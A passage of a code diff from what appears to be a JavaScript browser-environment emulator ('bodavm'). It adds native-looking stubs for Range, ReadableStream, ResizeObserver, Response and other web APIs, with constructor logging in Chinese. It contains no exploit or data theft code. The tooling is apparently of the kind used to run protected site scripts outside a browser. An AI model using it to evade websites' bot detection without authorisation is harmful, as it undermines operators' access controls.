+}, 'prototype'); +bodavm.toolsFunc.defineProperty('Range', "isPointInRange", { + configurable: true, + enumerable: true, + writable: true, + value: function isPointInRange() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Range'].prototype, "Range", "isPointInRange", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Range', "selectNode", { + configurable: true, + enumerable: true, + writable: true, + value: function selectNode() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Range'].prototype, "Range", "selectNode", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Range', "selectNodeContents", { + configurable: true, + enumerable: true, + writable: true, + value: function selectNodeContents() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Range'].prototype, "Range", "selectNodeContents", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Range', "setEnd", { + configurable: true, + enumerable: true, + writable: true, + value: function setEnd() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Range'].prototype, "Range", "setEnd", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Range', "setEndAfter", { + configurable: true, + enumerable: true, + writable: true, + value: function setEndAfter() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Range'].prototype, "Range", "setEndAfter", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Range', "setEndBefore", { + configurable: true, + enumerable: true, + writable: true, + value: function setEndBefore() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Range'].prototype, "Range", "setEndBefore", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Range', "setStart", { + configurable: true, + enumerable: true, + writable: true, + value: function setStart() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Range'].prototype, "Range", "setStart", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Range', "setStartAfter", { + configurable: true, + enumerable: true, + writable: true, + value: function setStartAfter() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Range'].prototype, "Range", "setStartAfter", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Range', "setStartBefore", { + configurable: true, + enumerable: true, + writable: true, + value: function setStartBefore() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Range'].prototype, "Range", "setStartBefore", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Range', "surroundContents", { + configurable: true, + enumerable: true, + writable: true, + value: function surroundContents() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Range'].prototype, "Range", "surroundContents", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Range', "toString", { + configurable: true, + enumerable: true, + writable: true, + value: function toString() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Range'].prototype, "Range", "toString", arguments); + } +}, 'prototype'); +// ReadableByteStreamController对象 + +bodavm.memory.globalobj['ReadableByteStreamController'] = function ReadableByteStreamController() { + console.log_copy('ReadableByteStreamController 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof ReadableByteStreamController)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['ReadableByteStreamController'], "ReadableByteStreamController"); +bodavm.toolsFunc.defineProperty('ReadableByteStreamController', "byobRequest", { + configurable: true, + enumerable: true, + get: function byobRequest() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ReadableByteStreamController'].prototype, "ReadableByteStreamController", "byobRequest_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('ReadableByteStreamController', "desiredSize", { + configurable: true, + enumerable: true, + get: function desiredSize() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ReadableByteStreamController'].prototype, "ReadableByteStreamController", "desiredSize_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('ReadableByteStreamController', "close", { + configurable: true, + enumerable: true, + writable: true, + value: function close() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ReadableByteStreamController'].prototype, "ReadableByteStreamController", "close", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('ReadableByteStreamController', "enqueue", { + configurable: true, + enumerable: true, + writable: true, + value: function enqueue() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ReadableByteStreamController'].prototype, "ReadableByteStreamController", "enqueue", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('ReadableByteStreamController', "error", { + configurable: true, + enumerable: true, + writable: true, + value: function error() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ReadableByteStreamController'].prototype, "ReadableByteStreamController", "error", arguments); + } +}, 'prototype'); +// ReadableStream对象 + +bodavm.memory.globalobj['ReadableStream'] = function ReadableStream() { + console.log_copy('ReadableStream 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + this._boarg = new bodaobj.window.ReadableStream(); + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['ReadableStream'], "ReadableStream"); +bodavm.toolsFunc.defineProperty('ReadableStream', "locked", { + configurable: true, + enumerable: true, + get: function locked() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ReadableStream'].prototype, "ReadableStream", "locked_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('ReadableStream', "cancel", { + configurable: true, + enumerable: true, + writable: true, + value: function cancel() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ReadableStream'].prototype, "ReadableStream", "cancel", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('ReadableStream', "getReader", { + configurable: true, + enumerable: true, + writable: true, + value: function getReader() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ReadableStream'].prototype, "ReadableStream", "getReader", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('ReadableStream', "pipeThrough", { + configurable: true, + enumerable: true, + writable: true, + value: function pipeThrough() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ReadableStream'].prototype, "ReadableStream", "pipeThrough", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('ReadableStream', "pipeTo", { + configurable: true, + enumerable: true, + writable: true, + value: function pipeTo() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ReadableStream'].prototype, "ReadableStream", "pipeTo", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('ReadableStream', "tee", { + configurable: true, + enumerable: true, + writable: true, + value: function tee() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ReadableStream'].prototype, "ReadableStream", "tee", arguments); + } +}, 'prototype'); +// ReadableStreamBYOBReader对象 + +bodavm.memory.globalobj['ReadableStreamBYOBReader'] = function ReadableStreamBYOBReader() { + console.log_copy('ReadableStreamBYOBReader 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof ReadableStreamBYOBReader)) { + return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'ReadableStreamBYOBReader': 1 argument required, but only 0 present."); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['ReadableStreamBYOBReader'], "ReadableStreamBYOBReader"); +bodavm.toolsFunc.defineProperty('ReadableStreamBYOBReader', "read", { + configurable: true, + enumerable: true, + writable: true, + value: function read() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ReadableStreamBYOBReader'].prototype, "ReadableStreamBYOBReader", "read", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('ReadableStreamBYOBReader', "releaseLock", { + configurable: true, + enumerable: true, + writable: true, + value: function releaseLock() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ReadableStreamBYOBReader'].prototype, "ReadableStreamBYOBReader", "releaseLock", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('ReadableStreamBYOBReader', "closed", { + configurable: true, + enumerable: true, + get: function closed() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ReadableStreamBYOBReader'].prototype, "ReadableStreamBYOBReader", "closed_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('ReadableStreamBYOBReader', "cancel", { + configurable: true, + enumerable: true, + writable: true, + value: function cancel() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ReadableStreamBYOBReader'].prototype, "ReadableStreamBYOBReader", "cancel", arguments); + } +}, 'prototype'); +// ReadableStreamBYOBRequest对象 + +bodavm.memory.globalobj['ReadableStreamBYOBRequest'] = function ReadableStreamBYOBRequest() { + console.log_copy('ReadableStreamBYOBRequest 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof ReadableStreamBYOBRequest)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['ReadableStreamBYOBRequest'], "ReadableStreamBYOBRequest"); +bodavm.toolsFunc.defineProperty('ReadableStreamBYOBRequest', "view", { + configurable: true, + enumerable: true, + get: function view() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ReadableStreamBYOBRequest'].prototype, "ReadableStreamBYOBRequest", "view_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('ReadableStreamBYOBRequest', "respond", { + configurable: true, + enumerable: true, + writable: true, + value: function respond() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ReadableStreamBYOBRequest'].prototype, "ReadableStreamBYOBRequest", "respond", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('ReadableStreamBYOBRequest', "respondWithNewView", { + configurable: true, + enumerable: true, + writable: true, + value: function respondWithNewView() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ReadableStreamBYOBRequest'].prototype, "ReadableStreamBYOBRequest", "respondWithNewView", arguments); + } +}, 'prototype'); +// ReadableStreamDefaultController对象 + +bodavm.memory.globalobj['ReadableStreamDefaultController'] = function ReadableStreamDefaultController() { + console.log_copy('ReadableStreamDefaultController 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof ReadableStreamDefaultController)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['ReadableStreamDefaultController'], "ReadableStreamDefaultController"); +bodavm.toolsFunc.defineProperty('ReadableStreamDefaultController', "desiredSize", { + configurable: true, + enumerable: true, + get: function desiredSize() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ReadableStreamDefaultController'].prototype, "ReadableStreamDefaultController", "desiredSize_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('ReadableStreamDefaultController', "close", { + configurable: true, + enumerable: true, + writable: true, + value: function close() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ReadableStreamDefaultController'].prototype, "ReadableStreamDefaultController", "close", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('ReadableStreamDefaultController', "enqueue", { + configurable: true, + enumerable: true, + writable: true, + value: function enqueue() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ReadableStreamDefaultController'].prototype, "ReadableStreamDefaultController", "enqueue", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('ReadableStreamDefaultController', "error", { + configurable: true, + enumerable: true, + writable: true, + value: function error() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ReadableStreamDefaultController'].prototype, "ReadableStreamDefaultController", "error", arguments); + } +}, 'prototype'); +// ReadableStreamDefaultReader对象 + +bodavm.memory.globalobj['ReadableStreamDefaultReader'] = function ReadableStreamDefaultReader() { + console.log_copy('ReadableStreamDefaultReader 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof ReadableStreamDefaultReader)) { + return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'ReadableStreamDefaultReader': 1 argument required, but only 0 present."); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['ReadableStreamDefaultReader'], "ReadableStreamDefaultReader"); +bodavm.toolsFunc.defineProperty('ReadableStreamDefaultReader', "read", { + configurable: true, + enumerable: true, + writable: true, + value: function read() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ReadableStreamDefaultReader'].prototype, "ReadableStreamDefaultReader", "read", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('ReadableStreamDefaultReader', "releaseLock", { + configurable: true, + enumerable: true, + writable: true, + value: function releaseLock() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ReadableStreamDefaultReader'].prototype, "ReadableStreamDefaultReader", "releaseLock", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('ReadableStreamDefaultReader', "closed", { + configurable: true, + enumerable: true, + get: function closed() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ReadableStreamDefaultReader'].prototype, "ReadableStreamDefaultReader", "closed_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('ReadableStreamDefaultReader', "cancel", { + configurable: true, + enumerable: true, + writable: true, + value: function cancel() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ReadableStreamDefaultReader'].prototype, "ReadableStreamDefaultReader", "cancel", arguments); + } +}, 'prototype'); +// RelativeOrientationSensor对象 + +bodavm.memory.globalobj['RelativeOrientationSensor'] = function RelativeOrientationSensor() { + console.log_copy('RelativeOrientationSensor 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + this._boarg = new bodaobj.window.RelativeOrientationSensor(); + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['RelativeOrientationSensor'], "RelativeOrientationSensor"); +bodavm.memory.globalobj['RelativeOrientationSensor'].prototype.__proto__ = bodavm.memory.globalobj['OrientationSensor'].prototype; +bodavm.memory.globalobj['RelativeOrientationSensor'].__proto__ = bodavm.memory.globalobj['OrientationSensor']; +// releaseEvents对象 + +bodavm.memory.globalobj['releaseEvents'] = { + _boisinit: bodavm.config.isinit +}; +bodavm.toolsFunc.defineProperty('releaseEvents', "length", { + configurable: true, + enumerable: false, + writable: false, + value: 0 +}); +bodavm.toolsFunc.defineProperty('releaseEvents', "name", { + configurable: true, + enumerable: false, + writable: false, + value: "releaseEvents" +}); +// RemotePlayback对象 + +bodavm.memory.globalobj['RemotePlayback'] = function RemotePlayback() { + console.log_copy('RemotePlayback 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof RemotePlayback)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['RemotePlayback'], "RemotePlayback"); +bodavm.memory.globalobj['RemotePlayback'].prototype.__proto__ = bodavm.memory.globalobj['EventTarget'].prototype; +bodavm.memory.globalobj['RemotePlayback'].__proto__ = bodavm.memory.globalobj['EventTarget']; +bodavm.toolsFunc.defineProperty('RemotePlayback', "state", { + configurable: true, + enumerable: true, + get: function state() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RemotePlayback'].prototype, "RemotePlayback", "state_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('RemotePlayback', "onconnecting", { + configurable: true, + enumerable: true, + get: function onconnecting() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RemotePlayback'].prototype, "RemotePlayback", "onconnecting_get", arguments); + }, + set: function onconnecting() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RemotePlayback'].prototype, "RemotePlayback", "onconnecting_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('RemotePlayback', "onconnect", { + configurable: true, + enumerable: true, + get: function onconnect() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RemotePlayback'].prototype, "RemotePlayback", "onconnect_get", arguments); + }, + set: function onconnect() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RemotePlayback'].prototype, "RemotePlayback", "onconnect_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('RemotePlayback', "ondisconnect", { + configurable: true, + enumerable: true, + get: function ondisconnect() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RemotePlayback'].prototype, "RemotePlayback", "ondisconnect_get", arguments); + }, + set: function ondisconnect() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RemotePlayback'].prototype, "RemotePlayback", "ondisconnect_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('RemotePlayback', "cancelWatchAvailability", { + configurable: true, + enumerable: true, + writable: true, + value: function cancelWatchAvailability() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RemotePlayback'].prototype, "RemotePlayback", "cancelWatchAvailability", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('RemotePlayback', "prompt", { + configurable: true, + enumerable: true, + writable: true, + value: function prompt() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RemotePlayback'].prototype, "RemotePlayback", "prompt", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('RemotePlayback', "watchAvailability", { + configurable: true, + enumerable: true, + writable: true, + value: function watchAvailability() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RemotePlayback'].prototype, "RemotePlayback", "watchAvailability", arguments); + } +}, 'prototype'); +// reportError对象 + +bodavm.memory.globalobj['reportError'] = { + _boisinit: bodavm.config.isinit +}; +bodavm.toolsFunc.defineProperty('reportError', "length", { + configurable: true, + enumerable: false, + writable: false, + value: 1 +}); +bodavm.toolsFunc.defineProperty('reportError', "name", { + configurable: true, + enumerable: false, + writable: false, + value: "reportError" +}); +// ReportingObserver对象 + +bodavm.memory.globalobj['ReportingObserver'] = function ReportingObserver() { + console.log_copy('ReportingObserver 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof ReportingObserver)) { + return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'ReportingObserver': 1 argument required, but only 0 present."); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['ReportingObserver'], "ReportingObserver"); +bodavm.toolsFunc.defineProperty('ReportingObserver', "disconnect", { + configurable: true, + enumerable: true, + writable: true, + value: function disconnect() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ReportingObserver'].prototype, "ReportingObserver", "disconnect", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('ReportingObserver', "observe", { + configurable: true, + enumerable: true, + writable: true, + value: function observe() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ReportingObserver'].prototype, "ReportingObserver", "observe", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('ReportingObserver', "takeRecords", { + configurable: true, + enumerable: true, + writable: true, + value: function takeRecords() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ReportingObserver'].prototype, "ReportingObserver", "takeRecords", arguments); + } +}, 'prototype'); +// requestAnimationFrame对象 + +bodavm.memory.globalobj['requestAnimationFrame'] = { + _boisinit: bodavm.config.isinit +}; +bodavm.toolsFunc.defineProperty('requestAnimationFrame', "length", { + configurable: true, + enumerable: false, + writable: false, + value: 1 +}); +bodavm.toolsFunc.defineProperty('requestAnimationFrame', "name", { + configurable: true, + enumerable: false, + writable: false, + value: "requestAnimationFrame" +}); +// requestIdleCallback对象 + +bodavm.memory.globalobj['requestIdleCallback'] = { + _boisinit: bodavm.config.isinit +}; +bodavm.toolsFunc.defineProperty('requestIdleCallback', "length", { + configurable: true, + enumerable: false, + writable: false, + value: 1 +}); +bodavm.toolsFunc.defineProperty('requestIdleCallback', "name", { + configurable: true, + enumerable: false, + writable: false, + value: "requestIdleCallback" +}); +// resizeBy对象 + +bodavm.memory.globalobj['resizeBy'] = { + _boisinit: bodavm.config.isinit +}; +bodavm.toolsFunc.defineProperty('resizeBy', "length", { + configurable: true, + enumerable: false, + writable: false, + value: 2 +}); +bodavm.toolsFunc.defineProperty('resizeBy', "name", { + configurable: true, + enumerable: false, + writable: false, + value: "resizeBy" +}); +// ResizeObserver对象 + +bodavm.memory.globalobj['ResizeObserver'] = function ResizeObserver() { + console.log_copy('ResizeObserver 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof ResizeObserver)) { + return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'ResizeObserver': 1 argument required, but only 0 present."); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['ResizeObserver'], "ResizeObserver"); +bodavm.toolsFunc.defineProperty('ResizeObserver', "disconnect", { + configurable: true, + enumerable: true, + writable: true, + value: function disconnect() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ResizeObserver'].prototype, "ResizeObserver", "disconnect", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('ResizeObserver', "observe", { + configurable: true, + enumerable: true, + writable: true, + value: function observe() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ResizeObserver'].prototype, "ResizeObserver", "observe", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('ResizeObserver', "unobserve", { + configurable: true, + enumerable: true, + writable: true, + value: function unobserve() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ResizeObserver'].prototype, "ResizeObserver", "unobserve", arguments); + } +}, 'prototype'); +// ResizeObserverEntry对象 + +bodavm.memory.globalobj['ResizeObserverEntry'] = function ResizeObserverEntry() { + console.log_copy('ResizeObserverEntry 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof ResizeObserverEntry)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['ResizeObserverEntry'], "ResizeObserverEntry"); +bodavm.toolsFunc.defineProperty('ResizeObserverEntry', "target", { + configurable: true, + enumerable: true, + get: function target() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ResizeObserverEntry'].prototype, "ResizeObserverEntry", "target_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('ResizeObserverEntry', "contentRect", { + configurable: true, + enumerable: true, + get: function contentRect() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ResizeObserverEntry'].prototype, "ResizeObserverEntry", "contentRect_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('ResizeObserverEntry', "contentBoxSize", { + configurable: true, + enumerable: true, + get: function contentBoxSize() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ResizeObserverEntry'].prototype, "ResizeObserverEntry", "contentBoxSize_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('ResizeObserverEntry', "borderBoxSize", { + configurable: true, + enumerable: true, + get: function borderBoxSize() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ResizeObserverEntry'].prototype, "ResizeObserverEntry", "borderBoxSize_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('ResizeObserverEntry', "devicePixelContentBoxSize", { + configurable: true, + enumerable: true, + get: function devicePixelContentBoxSize() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ResizeObserverEntry'].prototype, "ResizeObserverEntry", "devicePixelContentBoxSize_get", arguments); + }, + set: undefined +}, 'prototype'); +// ResizeObserverSize对象 + +bodavm.memory.globalobj['ResizeObserverSize'] = function ResizeObserverSize() { + console.log_copy('ResizeObserverSize 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof ResizeObserverSize)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['ResizeObserverSize'], "ResizeObserverSize"); +bodavm.toolsFunc.defineProperty('ResizeObserverSize', "inlineSize", { + configurable: true, + enumerable: true, + get: function inlineSize() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ResizeObserverSize'].prototype, "ResizeObserverSize", "inlineSize_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('ResizeObserverSize', "blockSize", { + configurable: true, + enumerable: true, + get: function blockSize() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ResizeObserverSize'].prototype, "ResizeObserverSize", "blockSize_get", arguments); + }, + set: undefined +}, 'prototype'); +// resizeTo对象 + +bodavm.memory.globalobj['resizeTo'] = { + _boisinit: bodavm.config.isinit +}; +bodavm.toolsFunc.defineProperty('resizeTo', "length", { + configurable: true, + enumerable: false, + writable: false, + value: 2 +}); +bodavm.toolsFunc.defineProperty('resizeTo', "name", { + configurable: true, + enumerable: false, + writable: false, + value: "resizeTo" +}); +// Response对象 + +bodavm.memory.globalobj['Response'] = function Response() { + console.log_copy('Response 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + this._boarg = new bodaobj.window.Response(); + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['Response'], "Response"); +bodavm.toolsFunc.defineProperty('Response', "error", { + configurable: true, + enumerable: true, + writable: true, + value: function error() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Response'].undefined, "Response", "error", arguments); + } +}); +bodavm.toolsFunc.defineProperty('Response', "json", { + configurable: true, + enumerable: true, + writable: true, + value: function json() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Response'].undefined, "Response", "json", arguments); + } +}); +bodavm.toolsFunc.defineProperty('Response', "redirect", { + configurable: true, + enumerable: true, + writable: true, + value: function redirect() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Response'].undefined, "Response", "redirect", arguments); + } +}); +bodavm.toolsFunc.defineProperty('Response', "type", { + configurable: true, + enumerable: true, + get: function type() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Response'].prototype, "Response", "type_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Response', "url", { + configurable: true, + enumerable: true, + get: function url() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Response'].prototype, "Response", "url_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Response', "redirected", { + configurable: true, + enumerable: true, + get: function redirected() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Response'].prototype, "Response", "redirected_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Response', "status", { + configurable: true, + enumerable: true, + get: function status() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Response'].prototype, "Response", "status_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Response', "ok", { + configurable: true, + enumerable: true, + get: function ok() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Response'].prototype, "Response", "ok_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Response', "statusText", { + configurable: true, + enumerable: true, + get: function statusText() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Response'].prototype, "Response", "statusText_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Response', "headers", { + configurable: true, + enumerable: true, + get: function headers() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Response'].prototype, "Response", "headers_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Response', "body", { + configurable: true, + enumerable: true, + get: function body() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Response'].prototype, "Response", "body_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Response', "bodyUsed", { + configurable: true, + enumerable: true, + get: function bodyUsed() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Response'].prototype, "Response", "bodyUsed_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Response', "arrayBuffer", { + configurable: true, + enumerable: true, + writable: 